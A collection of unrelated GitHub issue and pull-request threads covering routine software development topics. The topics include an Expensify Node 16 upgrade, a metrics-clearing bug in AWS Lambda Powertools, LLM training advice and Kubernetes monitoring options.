[HOLD] Use Node 16 and NPM 8 going forward

Details

This introduces a change to force usage of node 16 and npm 8 in order to better support M1 machines.
When running npm install on a machine with node 14 you will see this error:
andrew ➜ (andrew-node-16) App nvm use 14
Now using node v14.19.3 (npm v6.14.17)
andrew ➜ (andrew-node-16) App npm install
npm ERR! code ENOTSUP
npm ERR! notsup Unsupported engine for<EMAIL_ADDRESS>wanted: {"node":"16.15.1","npm":"8.11.0"} (current: {"node":"14.19.3","npm":"6.14.17"})
npm ERR! notsup Not compatible with your version of node/npm<EMAIL_ADDRESS>npm ERR! notsup Not compatible with your version of node/npm<EMAIL_ADDRESS>npm ERR! notsup Required: {"node":"16.15.1","npm":"8.11.0"}
npm ERR! notsup Actual:   {"npm":"6.14.17","node":"14.19.3"}

I will send out a Action Required email to internal employees in addition to posting a message in Slack for contributors.
Fixed Issues

https://expensify.slack.com/archives/C01GTK53T8Q/p1657213944275459
Tests

Run npm install on an M1 and Intel machine- verify it installs ✅
Set up the zsh integration for nvm and verify when changing directory into App you see:

Found '/Users/andrew/Expensidev/App/.nvmrc' with version <16.15.1>
Now using node v16.15.1 (npm v8.11.0)

PR Review Checklist

Contributor (PR Author) Checklist

[X] I linked the correct issue in the ### Fixed Issues section above
[X] I wrote clear testing steps that cover the changes made in this PR

[X] I added steps for local testing in the Tests section
[X] I added steps for Staging and/or Production testing in the QA steps section
[X] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[X] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)

[X] I included screenshots or videos for tests on all platforms
[X] I ran the tests on all platforms & verified they passed on:

[X] iOS / native
[X] Android / native
[X] iOS / Safari
[X] Android / Chrome
[X] MacOS / Chrome
[X] MacOS / Desktop

[X] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[X] I followed proper code patterns (see Reviewing the code)

[X] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[X] I verified that comments were added to code that is not self explanatory
[X] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[X] I verified any copy / text shown in the product was added in all src/languages/* files
[X] I verified any copy / text that was added to the app is correct English and approved by marketing by tagging the marketing team on the original GH to get the correct copy.
[X] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[X] I verified the JSDocs style guidelines (in STYLE.md) were followed

[X] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[X] I followed the guidelines as stated in the Review Guidelines
[X] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[X] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[X] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[X] If a new component is created I verified that:

[X] A similar component doesn't exist in the codebase
[X] All props are defined accurately and each prop has a /** comment above it */
[X] Any functional components have the displayName property
[X] The file is named correctly
[X] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[X] The only data being stored in the state is data necessary for rendering and nothing else
[X] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[X] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[X] All JSX used for rendering exists in the render method
[X] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[X] If a new CSS style is added I verified that:

[X] A similar style doesn't already exist
[X] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(themeColors.componentBG)

[X] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[X] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[X] I have checked off every checkbox in the PR author checklist, including those that don't apply to this PR.

Ok seeing the same error locally as in tests:
andrew ➜ (andrew-node-16) App npm install
npm ERR! code ERESOLVE
npm ERR! ERESOLVE unable to resolve dependency tree
npm ERR!
npm ERR! While resolving<EMAIL_ADDRESS>npm ERR! Found<EMAIL_ADDRESS>npm ERR! node_modules/@react-navigation/native
npm ERR<EMAIL_ADDRESS>from the root project
npm ERR!
npm ERR! Could not resolve dependency:
npm ERR! peer<EMAIL_ADDRESS>from<EMAIL_ADDRESS>npm ERR! node_modules/@react-navigation/compat
npm ERR<EMAIL_ADDRESS>from the root project
npm ERR!
npm ERR! Fix the upstream dependency conflict, or retry
npm ERR! this command with --force, or --legacy-peer-deps
npm ERR! to accept an incorrect (and potentially broken) dependency resolution.
npm ERR!
npm ERR! See /Users/andrew/.npm/eresolve-report.txt for a full report.

npm ERR!      /Users/andrew/.npm/_logs/2022-07-13T00_13_32_086Z-debug-0.log

Seems like it's the same as this: https://github.com/react-navigation/react-navigation/issues/9932

Ok now npm install works but npm ci works

Finally got GitHub actions happy here. There will probably be quite a few conflicts due to the nature of these changes, so I will resolve them all once we feel comfortable with the changes. I do still need to do some client testing since I upgraded a few node dependencies, so I will take off hold once this is ready.

Seeing this error on web

Seems like we have mismatching versions of react-dom 16 and 17 on web due to expensify-common https://github.com/Expensify/expensify-common/blob/main/package.json#L27-L28
https://reactjs.org/warnings/invalid-hook-call-warning.html

OK so here is an interesting predicament.. Our react-native-web version is now pretty out of date because we haven't been keeping it up to date with upstream. If we move back to upstream, it does in fact fix the issue above, however, it reintroduces this issue: https://github.com/Expensify/App/issues/1341 because we never made a PR for this fix for the upstream repo.
My proposed solution would be:

Move back to react-native-web upstream latest 0.18.5
Create an upstream PR with the fix for copy/paste out of order
Live with the copy paste bug to fix M1 development for contributors until we get the upstream PR merged

Thoughts @roryabraham @marcaaron @alex-mechler @tgolen ?

My proposed solution would be:

Move back to react-native-web upstream latest 0.18.5
Create an upstream PR with the fix for copy/paste out of order
Live with the copy paste bug to fix M1 development for contributors until we get the upstream PR merged

How hard would it be to update the fork to the latest and manually resolve conflicts to keep our copy/paste fixes while we wait for the upstream PR to be reviewed?

we never made a PR for this fix for the upstream repo

We should definitely do this 🙂

I don't think it would be extremely difficult to keep our repo up to date with the upstream changes, but it would still prevent M1 users from running on web until we figured out why our custom compile script is throwing hook errors.

I am OK with that plan as it would put some urgency behind getting the fix merged for real.
I read through this and it seems like our advice (but not policy?) is to merge the upstream into the fork?

Looks like we tried to open a PR -> https://github.com/necolas/react-native-web/pull/2151
But does not look like it got a response so we are probably taking the wrong approach. Have we tried to contact the maintainer?

Alternative solution provided by @marcaaron as we were chatting, using --legacy-peer-deps as described here: https://stackoverflow.com/questions/66239691/what-does-npm-install-legacy-peer-deps-do-exactly-when-is-it-recommended-wh

I don't think it would be extremely difficult to keep our repo up to date with the upstream changes, but it would still prevent M1 users from running on web until we figured out why our custom compile script is throwing hook errors

I don't love how we have to recompile react-native-web every time we run and npm install. A couple alternatives would be:

to publish our fork on npm and then use it like we would any other package
To use patch-package instead of a fork to apply our fix when we run npm installs

Given that we already have a fork of react-native-web my recommendation would be that we publish it to npm and use it like any other package

So how about an updated proposal:

Update our fork with upstream
Publish it to npm
Remove scripts/react-native-web.sh
Create an upstream PR
Move off our fork once our PR is merged & deployed

Going to come back to this in smaller PRs. This has gotten way too big to do in one.


Godot 3.2.1 and Godot 3.2 source code fails to compile

Godot version:

3.2.1 and 3.2 stable
OS/device including version:

Windows
Issue description:

Failed to compile source code of Godot 3.2.1 and Godot 3.2 stable versions.
In 'crash_handler_windows.cpp' file, 'string' library is missing.

Steps to reproduce:

Download source files from Git.
Compile and compiling fails

Minimal reproduction project:

Please include your compiler version in such reports.
But that's a duplicate of #37986 which is fixed in the current 3.2 branch.
If you want to build 3.2.1-stable specifically, you can apply the fix manually (https://github.com/akien-mga/godot/commit/aecba58e920a2c777f2a6dc83105fd5bbdfd60c9), downgrade your VS 2019 version if possible, or wait for Microsoft to change their mind about breaking compatibility in a patch update...


Bug (metrics): metadata and dimensions not cleared on publish

Bug description
When you invoke publishStoredMetrics, it clears the storedMetrics, but doesn't clear the metadata or dimensions.  My understanding is that metadata and dimensions are per request, where defaultDimensions should persist between requests.  The python implementation clears metadata and dimensions on publish.
Expected Behavior
Request 1:
metrics.addMetadata('field', 'value');

Log entry for metric has: field: value
Request 2:
metrics.addMetadata('field2', 'value2');

Log entry for metric has: field2: value2
Current Behavior
Request 1:
metrics.addMetadata('field', 'value');

Log entry for metric has: field: value
Request 2:
metrics.addMetadata('field2', 'value2');

Log entry for metric has: field: value and field2: value2

Possible Solution
Invoke clearMetadata() and clearDimensions() as part of publishStoredMetrics()
Steps to Reproduce
See current behavior
Environment

Powertools version used: 1.2.1
Packaging format (Layers, npm): npm
AWS Lambda function runtime: node 16
Debugging logs: N/A

Hi @perpil, thank you for taking the time to open this issue.
I have looked into it and I was able to reproduce the behavior described, as well as confirm that the Python version handles this same case differently as you have pointed out.
I have created a repo with a full reproduction example, which can be found here: https://github.com/dreamorosi/repro-issue-1115 (link might become dead after this issue is resolved).
The function example is pretty contrived, but helps to demonstrate the issue:
import {
  Metrics,
  logMetrics,
  MetricUnits,
} from "@aws-lambda-powertools/metrics";
import middy from "@middy/core";

const metrics = new Metrics({ namespace: "someName" });
let requestNumber = 1;

export const handler = middy(async () => {
  switch (requestNumber) {
    case 1:
      metrics.addMetadata("field", "value");
      break;
    case 2:
      metrics.addMetadata("field2", "value2");
      break;
    case 3:
      metrics.addDimension("dim1", "value1");
      break;
    case 4:
      metrics.addDimensions({
        dim2: "val2",
      });
    default:
      break;
  }

  metrics.addMetric("successfulBooking", MetricUnits.Count, 1);
  requestNumber++;

  return;
}).use(logMetrics(metrics, { throwOnEmptyMetrics: true }));

In the function above we keep a count of the request number. We then use this count to conditionally add metadata or dimensions to the metric being emitted.
Since we are using the logMetrics middleware, the metrics are automatically published/flushed at the end of each execution, so we would expect to have each metadata field, or dimension, represented at most once in each metric log entry.
Instead, the metadata and dimensions pile up:

I have then tested a similar function implementation, with the Python version of Powertools:
from aws_lambda_powertools import Metrics
from aws_lambda_powertools.metrics import MetricUnit

class RequestNo:
    def __init__(self):
        self.number = 1

    def add(self):
        self.number = self.number + 1

metrics = Metrics(namespace="someName")
request_number = RequestNo()

@metrics.log_metrics(raise_on_empty_metrics=True)
def lambda_handler(event, context):
    metrics.add_metric(name="SuccessfulBooking", unit=MetricUnit.Count, value=1)

    if request_number.number == 1:
        metrics.add_metadata(key="field", value="value")
    elif request_number.number == 2:
        metrics.add_metadata(key="field2", value="value2");
    elif request_number.number == 3:
        metrics.add_dimension(name="dim1", value="value1")
    elif request_number.number == 4:
        metrics.add_dimension(name="dim2", value="value2")
    else:
        pass

    request_number.add()

    return

In this case the dimensions and metadata were cleared out after each request:

This is indeed a bug. We'll try to apply a fix as soon as we have capacity.
If anyone would like to contribute a fix, please leave a comment below expressing interest and discussing a potential fix & scope of the PR, before opening one.

Hi @shdq, thanks for taking initiative.
I would suggest to move forward as follows:

On one side, try to set up the development environment as described in the Setup section of the Contributing docs.
On the other side, try to familiarise yourself with the Metrics codebase and how we run unit tests on it

After that, maybe you could write down in this issue a high level plan of where/what the changes would be and what kind of unit tests you'd want to add to prove that the issue is fixed and avoid future regressions.
We can have a discussion starting from there, and of course if you have any question on any of the above please feel free to reach out, we're happy to help.
PS: we also have a Discord server (invite link) that you can join to chat in case of questions.

Hi there!
I managed to set up the dev environment. Small feedback: npm run setup-local doesn't install if-node-version and ts-md5 packages out of the box, so you can't run tests (npm run lerna-test:unit) until you install them.
So, I read the docs, looked at the code, got familiar with it, and run the tests. And this is what I suggest.
A test for the metadata:
In the tests/unit/Metrics.test.ts file under the Feature: Metadata block of tests, add a new test Publish Stored Metrics should clear metadata, that checks logs twice before publishStoredMetrics() and after for the metadata item existence.
A test for the dimensions:
In the tests/unit/Metrics.test.ts file under the Feature: Dimensions logging block of tests, add a new test Publish Stored Metrics should clear added dimensions, that checks logs for dimensions array length and dimension item value before and after publishStoredMetrics() invocation.
A fix for this is to invoke clearDimensions(); and clearMetadata(); inside publishStoredMetrics() method.
Stored metrics are flushing using this.storedMetrics = {};  inside publishStoredMetrics() right now. And there is a method clearMetrics() which is doing the same inside. So should I use this.dimensions = {}; and this.metadata = {}; for consistency purposes, or change stored metrics to clearMetrics()?
Should I add some more tests for default dimensions, because as I got from the docs, they're persistent across metrics? It seems like this change is not going to affect default dimensions.
Looking for your response.
Best, Sergei

Hi @shdq, thanks for following up on this and for taking the time to flash out the changes, really appreciate it!
The tests for metadata & dimensions look reasonable. Depending on how you'll implement this we might have to do some small tweaks to get full coverage, but we can move forward for now and see once we get there.

A fix for this is to invoke clearDimensions(); and clearMetadata(); inside publishStoredMetrics() method.

Agree with this, I think that's the way to go.

Stored metrics are flushing using this.storedMetrics = {}; inside publishStoredMetrics() right now. And there is a method clearMetrics() which is doing the same inside. So should I use this.dimensions = {}; and this.metadata = {}; for consistency purposes, or change stored metrics to clearMetrics()?

I'd change the current this.storedMetrics = {}; to call this.clearMetrics(), well spotted!

Should I add some more tests for default dimensions, because as I got from the docs, they're persistent across metrics? It seems like this change is not going to affect default dimensions.

I'd be more inclined to keep this PR focused to fix the bug, we can address this in a separate one. Once the bug fix is merged, if you're still interested in working on this we can work on another PR.
From our side, whenever you are ready, you can move forward with the PR. We'll be happy to review it once it's up :)
Thank you again for your time Sergei!

About the missing dependency, you're right. One of the PRs currently open is going to fix that once merged. Sorry about that!

The fix has been released in v1.4.0


Improve accessability

Decrease the amount of actions required to open miratope, i.e porting miratope to WASM or a downloadable;  This issue will be for after most of the other issues are solved or the project is considered public and finished.

Miratope has been released as an executable. Probably doesn't work on all OSs yet.


Config param for initial default state

To Me it would be the much better if the default state would be that blinds are up.
Since my blinds are up most of the time.
With a config parameter it can be customized for everyones taste.

@nklint I've made a number of changes here (https://github.com/zwerch/homebridge-blinds/pull/22), where you could actually do this - but I think it wouldn't be needed. It saves the last known state and persists after Homebridge restart, which I think sounds like your issue?


HTTP server doesn't seem to work if not ran with http_server command line option on Windows

SkyEmu http_server   works on windows, but running SkyEmu normally and enabling http server doesn't seem to

Any ideas why this might fail?

I don't have a fully set up debugging environment on windows but one thing I tried is commenting out every single server->mutex.lock / unlock and it worked. I wonder if it's deadlock related. It's weird I can't reproduce in linux though.

Dillon and I were able to get this working after https://github.com/skylersaleh/SkyEmu/commit/ed089a24153391ab8681f7170f7df7943a27ca37
Let me know if it works on your machine.

Yup, works now!


Why is the result of my training llama-13b-hf using scripts/run_raft_align.sh very poor?

Why is the result of my training llama-13b-hf using scripts/run_raft_align.sh very poor? Basically, none of the questions were answered correctly. Below is my script. Is there something wrong of my script?
#!/bin/bash
Please run this script under project directory.
deepspeed_args="--master_port=11000" # Default argument
if [ $# -ge 1 ]; then
deepspeed_args="$1"
fi
exp_id=raft_align
project_dir=$(cd "$(dirname $0)"/..; pwd)
output_dir=${project_dir}/output_llama_13b/${exp_id}
log_dir=${project_dir}/log/${exp_id}
mkdir -p ${output_dir} ${log_dir}
echo "exp_id=${exp_id}, project_dir=${project_dir}, output_dir=${output_dir}, log_dir=${log_dir}"
export PYTHONPATH=.
deepspeed ${deepspeed_args}
examples/raft_align.py
--model_name_or_path /home/user01/.cache1/llama-13b-hf
--num_raft_iteration 2
--learning_rate 2e-4
--lr_scheduler_type "constant"
--bf16
--deepspeed configs/ds_config_zero2.json
--dataset_path ${project_dir}/data/imdb/train
--output_reward_path ${project_dir}/tmp/raft_aligner/reward.txt
--output_dir ${output_dir} --overwrite_output_dir
--run_name ${exp_id}
--num_train_epochs 4
--per_device_train_batch_size 1
--per_device_eval_batch_size 1
--validation_split_percentage 0
--logging_steps 1
--do_train
--ddp_timeout 72000
--save_steps 35
--dataloader_num_workers 1
--preprocessing_num_workers 12
--inference_batch_size_per_device 1
| tee ${log_dir}/raft_align.log
2> ${log_dir}/raft_align.err
example

Hi! Thanks for your feedback.
It seems that you are trying to use the model as a chatbot. However, you use the dataset
--dataset_path ${project_dir}/data/imdb/train
which will truncate the first several words as the prompt and ask the model to complete the movie review. Therefore, the training setting and your target seem not to match. In particular, the llama model does not perform well in answering the chat according to the human-assistant prompt if you do not SFT it first. Meanwhile, the learning rate 2e-4 is too large for the LLAMA model according to my personal experience (I will use 2e-5 typically).
Actually, we are considering the imdb movie review completion task rather limited and plan to use the HH-RLHF dataset as a better example, which is more suitable for your purpose. For now, you may have a look at our updated version https://arxiv.org/pdf/2304.06767.pdf to get the idea of the HH-RLHF experiment. We will provide a step-by-step document this week to help the users to get started with and recover the results of RAFT on this experiment.

Hi! We have updated the code accordingly and you can find the tutorial here https://optimalscale.github.io/LMFlow/examples/raft.html
We upload a reward model to the huggingface (based on GPT-Neo-2.7B and with ~68% test accuracy) and you may directly try out RAFT now (i.e., the last step of the tutorial) and then you may try to improve the model by involving SFT and a better reward model trained by yourself.
If you have any further questions or feedbacks, feel free to let us know!

This issue has been marked as stale because it has not had recent activity. If you think this still needs to be addressed please feel free to reopen this issue. Thanks


Allow report to be removed from dashboard page

Migrated from GitLab: https://gitlab.com/meltano/meltano/-/issues/1930
Originally created by @DouweM on 2020-03-26 23:42:48

View 3 previous comments from the original issue on GitLab


Blackbird Terminates on Null Construct

Blackbird found an opportunity and was getting ready to trade:
[ ENTRY FOUND ]
   Date & Time:       02/22/2018 03:10:27
   Exchange Long:     QuadrigaCX (id 2)
   Exchange Short:    Bitfinex (id 0)
   Fees:              0.50% / 0.20%
   Price Long:        10,600.00 (target)
   Price Short:       10,692.00 (target)
   Spread:            0.87%
   Cash used:         25.00 on each exchange
   Exit Target:       -1.03%

However it crashed when trying to go any further with the following:
terminate called after throwing an instance of 'std::logic_error'
  what():  basic_string::_M_construct null not valid
Aborted (core dumped)

It looks like it's parsing some JSON response wrong from one of the exchanges. Does anybody know how to get to the actual line that caused this crash?

Duplicate of #382


Refactor login API to support the new CRM login page

Refactor login API to support the new CRM login page

@uthra22,
Thanks for your contribution.
To ensure that the project team has proper rights to use your work, please complete the Contribution License Agreement at https://cla.microsoft.com.
It will cover your contributions to all Microsoft-managed open source projects.
Thanks,
Microsoft Pull Request Bot


Add custom exporter for kubectl top pod

Issue
We need more info to determine what resource limits to use in the load tests.
Solution
Add a custom exporter for kubectl top pod so we know how much cpu, mem each pod of the bundle is utilizing.
TODO:

[x] Create custom metrics exporter
[x] Scrape the exporter
[x] Add "top pod" panel to the dashboard

Release Notes
Add custom exporter for kubectl top pod.

https://github.com/kubernetes/kube-state-metrics should already contain the equivalent of kubectl top by default. I'm not sure whether https://github.com/simskij/kube-metrics-k8s-operator is in a working state or not, but could serve as a starting point (or even just deploying kube-state-metrics manually.

https://github.com/kubernetes/kube-state-metrics should already contain the equivalent of kubectl top by default under the containers_ namespace. I'm not sure whether https://github.com/simskij/kube-metrics-k8s-operator is in a working state or not, but could serve as a starting point (or even just deploying kube-state-metrics manually.

Unfortunately, those metrics (the entire containers_ namespace, actually, and the baseline requirement for top pod) actually comes from metrics-server, not kube-state-metrics. The closest we can get there is kube_pod_container_resource_requests, and that's pretty fuzzy.
The incoherence of the philosophers k8s monitoring. node_exporter, metrics-server, and kube-state-metrics are required to get a full overview. The existing charm only provides 2 out of 3, but metrics-server could be a fair addition to get started.
For certs/tokens, I did at least remember that the kubeconfig has them, in which case what sort of microk8s we're running doesn't matter, and you can also snatch the token (if RBAC is enabled) out of it. Pulling them out of the kubeconfig (.clusters.cluster.certificate-authority-data and .users.[i].user.token are just base64ed and are otherwise usable) is probably a good way to go.

https://github.com/kubernetes/kube-state-metrics should already contain the equivalent of kubectl top by default under the containers_ namespace. I'm not sure whether https://github.com/simskij/kube-metrics-k8s-operator is in a working state or not, but could serve as a starting point (or even just deploying kube-state-metrics manually.

Unfortunately, those metrics (the entire containers_ namespace, actually, and the baseline requirement for top pod) actually comes from metrics-server, not kube-state-metrics. The closest we can get there is kube_pod_container_resource_requests, and that's pretty fuzzy.
The incoherence of the ~philosophers~ k8s monitoring. node_exporter, metrics-server, and kube-state-metrics are required to get a full overview. The existing charm only provides 2 out of 3, but metrics-server could be a fair addition to get started.
For certs/tokens, I did at least remember that the kubeconfig has them, in which case what sort of microk8s we're running doesn't matter, and you can also snatch the token (if RBAC is enabled) out of it. Pulling them out of the kubeconfig (.clusters.cluster.certificate-authority-data and .users.[i].user.token are just base64ed and are otherwise usable) is probably a good way to go.

Yeah, in that case I think adding metrics-server to the existing charm (or setting it up manually as part of the integration tests) feel far more tempting than both the PRs original suggestion or the alternative suggestion.

Yeah, in that case I think adding metrics-server to the existing charm (or setting it up manually as part of the load tests) feel far more tempting than both the PRs original suggestion or the alternative suggestion.

The problem there, in some sense, is the [absolutely ridiculous](Yeah, in that case I think adding metrics-server to the existing charm (or setting it up manually as part of the load tests) feel far more tempting than both the PRs original suggestion or the alternative suggestion.) amount of scrape rules/targets/service-discovery needed to actually pull them all. Without adding SD to Prometheus, or setting up something else to scrape them out of there and push it to Prom, the raw JSON from the metrics API itself may be easier, as ugly as it is.


Added file names modified in the last 24 hours in CWD

Update std badge version
Remove duplicate ex-format-datetime

fixes #399

Thanks for your initial review. It makes sense ; I filtered out the directories.


V1 Utility Module First Iteration #24

NOTE TO REVIEWERS: Builds upon Pull-42
You may exclude the pre_persistence code from the review as we'll handle changes there
Utility Module
This document is meant to be a placeholder to serve as a living representation of the parent 'Utility Module' codebase until the code matches the 1.0 Utility Module specification.
The spirit of the documentation is to continuously update and inform the reader of the general scope of the Utility Module
as breaking, rapid development occurs.
Once the implementation is synonymous with the current 1.0 Utility specification, this document will be archived.
Origin Document
Currently, the Utility Module minimally implements the first iteration of an account based, state machine, blockchain protocol.
Synonymous technologies to this current iteration are 'MVP proof of stake' blockchain state machines, that are NOT Pocket Network specific.
The current implementation does add the fundamental Pocket Network 1.0 actors:

Accounts
Validators
Fishermen
Applications
Service Nodes

And implement the basic transaction functionality:

Send-Tx
Stake
Unstake
EditStake
Pause
Unpause

And a few additional special transactions shells or implementation

FishermanPauseServiceNode [x] Implemented
TestScore [x] Shell // requires sessions & report card structures
ProveTestScore [x] Shell // requires sessions & report card structures

Added governance params:

OMITTED FOR BREVITY SEE utility/README.md for full list

And minimally satisfy the following interface:
CheckTransaction(tx []byte) error
GetTransactionsForProposal(proposer []byte, maxTransactionBytes int, lastBlockByzantineValidators [][]byte) (transactions [][]byte, err error)
ApplyBlock(Height int64, proposer []byte, transactions [][]byte, lastBlockByzantineValidators [][]byte) (appHash []byte, err error)

How to build
Utility Module does not come with its own cmd executables
Rather, it is purposed to be a dependency of other modules
How to use
Utility implements the UtilityModule and subsequent interface
github.com/pokt-network/pocket/shared/modules/utility_module.go
To use, simply initialize a Utility instance using the constructor function:
and use as the utility module in the desired integration / test.
How to test
cd /pocket/shared/tests/utility_module
go test ./...

AND

cd /pocket/utility/types
go test ./...

Automation
closes #24

@andrewnguyen22 Followed up on you're responses and handing it back over.
I also think that discussing/resolving everything in https://github.com/pokt-network/pocket/pull/47#pullrequestreview-917662975 will be an ongoing process going past this PR.

Also, make sure to run make protogen_clean && make protogen_local to regenerate protos and make test_utility_types && make test_utility_module to run tests.


Request for Detailed Explanation of AllReduce Algorithms (e.g., Direct, Ring, doubleBinaryTree, oneRing, oneDirect)

Hello,
First of all, thank you for creating and maintaining this project! I am currently working with the AllReduce implementations provided in the project, such as direct, ring, doubleBinaryTree, oneRing, oneDirect, etc. However, I am struggling to understand what some of these algorithms mean or how they work. For instance:
What exactly does direct refer to? How does it differ from ring?
Algorithms like oneRing and oneDirect are particularly unclear to me—what do they represent and how do they operate?
It would be incredibly helpful if the documentation could provide detailed explanations of these AllReduce algorithms.
Thank you for considering this request! I deeply appreciate your hard work and look forward to learning more about these AllReduce implementations.
Best regards,

Hi, I find the explanation of the algorithms when browsing the previous version , hope this works for you.

Hi, I find the explanation of the algorithms when browsing the previous version , hope this works for you.

Thank you for your response! So, does Ring refer to the Ring AllReduce algorithm? And direct represents a direct All-to-All communication pattern. oneRing and oneDirect simplify the topology into a single logical dimension, regardless of the physical topology, and perform a single round of ring or direct communication across all nodes. Is my understanding correct? If there are any inaccuracies, I’d greatly appreciate your clarification!
Additionally, I’m also a beginner in using AstraSim and exploring its Analytical Network Backend. I’ve been trying to understand the three supported topologies in the Analytical Network: Ring, Fully Connected, and Switch.
I came across this issue on GitHub (https://github.com/astra-sim/astra-sim/issues/268) and wanted to ask if you are familiar with it. Specifically:

Does the Switch component in the Analytical Network have any limitations on the number of concurrent communications it can handle? Or is it non-blocking?

For Ring and Fully Connected topologies, are there any inherent limitations on the number of concurrent communications?

I’m asking these questions to better understand how to configure the topology parameters and interpret the results from simulations. Any guidance or insights you can provide would be greatly appreciated.
Thank you for your time and assistance!


Add configurable base controller class

Add base_controller_class accessor to ActiveHashcash. I think this may help when using the mountable dashboard.

I never thought about doing that. That seems interesting to better integrate with other admin stuff. I will give it a try.

@alexisbernard I think this is the best way to be able to integrate it in every application. The idea is inspired by Mission Control - Jobs 🙂

Yes, it seems obvious that is the right way to do it. It felt like, why we did wrong for so long.
I have an error using using config:
config.active_hashcash.base_controller_class = "AdminController"

# railties-7.2.2/lib/rails/railtie/configuration.rb:109:in `method_missing': undefined method `active_hashcash' for an instance of Rails::Application::Configuration (NoMethodError)

However it works using directly the attribute writer:
ActiveHashcash.base_controller_class = "Admin::BaseController"

With which version of Rails did you try?

I tested it using a rails 7.2.2 project. But I have to admit I did it inside an initializer 😬
ActiveHashcash.base_controller_class = "Admin::BaseController"

Ok, I think that using config. would not work for active_hashcash 😔
Attempting to set base_controller_class using config.active_hashcash.base_controller_class in config/application.rb results in the undefined method error.
To configure ActiveHashcash.base_controller_class properly, you should set it directly within an initializer. This approach ensures that the configuration is applied after all necessary components have been loaded.

Can you describe the new feature in changelog please? That would be perfect if you add the Unreleased heading since it's not present yet:
# Changelog of ActiveHashcash

## Unreleased

- DESCRIPTION HERE

## 0.3.2 (2024-08-29)

@alexisbernard done 🙂

Thanks for your contribution. I will copy this idea into ActiveHashcash ;-)

@alexisbernard As we also like ActiveAnalytics very much here it is: PR
PS: We have not been able to test it much but it is quite similar to the other one, I hope there is no mistake. Let me know if I can help. Thank you very much for your help.


fix: unbreak nx dependency mapping

Description ℹ
Fix NX dependency mapping with this one simple trick (the nx npmScope did not match the path we used to declare deps). This seemed to cause subtle build failures when building from a clean source.
Demo
Before

After

To verify
Run the following on master:
rm -rf node_modules && nvm install 16.14.0 && yarn && SKIP_NX_CACHE=true ./node_modules/.bin/nx run token:build:production --source-map=false --skip-nx-cache && cd dist/apps/token && python3 -m http.server 8001

and you'll see that it's nearly right, but all the buttons render incorrectly. It seems like react-helpers wasn't being built in time, always. Apply the fix, re-run, and it will all work.
Unblocks #596, #597

Just checking back in. This:

[x] still works reliably
[x] is still the least satisfying '@' symbol I have ever typed


String interpolation new

Pull request
Description
This implements the RFC for string interpolation
Related

RFC
Related Issues: fixes #726
Related docs PR

Checklist

[x] The RFC, if required, has been submitted and approved
[ ] Any user-facing impact of the changes is reflected in docs.tremor.rs
[x] The code is tested
[x] Use of unsafe code is reasoned about in a comment
[x] Update CHANGELOG.md appropriately, recording any changes, bug fixes or other observable changes in behavior

Question that comes to mind is: What error will a string like "#{}" give?

Question that comes to mind is: What error will a string like "#{}" give?

Good question :D and great catch I didn't think about that, will add a test tomorrow!

Coverage decreased (-0.1%) to 80.834% when pulling b9a481b0163f731af4c32a7705f68b66f9939c5a on string-interpolation-new into 5f142d7468416d199492c1906b554b2f52274fd5 on main.

I added a new (nicer) error for the "#{}" case :+1: good catch @mfelsche !


re-enable lint to disallow undocumented public functions

We should not have undocumented public functions, this did get disabled during the holepunching work but we should try and get it back.

Before/while documenting we should try to reduce the API surface as much as possible.


Add a strong or label-strong prop for form-items or forms

This function solves the problem (这个功能解决的问题)
This will allow for label titles to have a bold style as an option. This will also allow for more variety when generating forms within our UIs. This would be similar to the strong prop in buttons
Expected API (期望的 API)
Something like this I assume?
<n-form-item label="This is a FormItem" strong label-strong>
    <n-input v-model:value="value" />
  </n-form-item>

Can configure labelFontWeight through customizing theme.

Wouldn't that be a global change? I would like to change it on a case by case basis. For example I would want my modal forms to use the default font weight.

Wouldn't that be a global change? I would like to change it on a case by case basis. For example I would want my modal forms to use the default font weight.

Normally, you can customize the theme using the theme-overrides prop of the component. However, the Form component currently doesn't support this. You can use n-config-provider to wrap the Form component instead.

I see. That's one way of approaching it. It does lead to a lot more boilerplate than a standard prop. I can use this example approach within my app.

However, the Form component currently doesn't support this

I would like this to be a prop in the form-item  element, not the form element. I figured since there is a label rendered, it would be easy to add the specific class for that but you can let me know if that can be added into a plan in the future.

However, the Form component currently doesn't support this
Although the Form component has the theme-overrides prop, it doesn't seem to work; maybe it's a bug. Similarly, the form-item component also has the theme-overrides prop, which works, but its usage requires applying it to each form-item component individually. Therefore, using n-config-provider is more convenient.

I can take a look at this one perhaps. Should be easy to make a parent component that I use for all bold forms. Thank you for the help. Cheers :)


Support #[spirv(object_to_world)] and #[spirv(world_to_object)]

Fixes https://github.com/EmbarkStudios/rust-gpu/issues/723#issuecomment-900967671.
This PR supports #[spirv(object_to_world)] and #[spirv(world_to_object)].
This decrares ObjectToWorldKHR/WorldToObjectKHR builtins as OpMatrix type and unpack it to function local variable.
I added SpirvType::Matrix variant but some of the other codes left todo! because I don't know how to test it when implemented.
I've confirmed that it works in my project.

#738


Use env BCBIO_DOCKER_PRIVILEGED to add --privileged

So that we can run docker with privileged permissions. This is to enable it to use host devices like /dev/null.
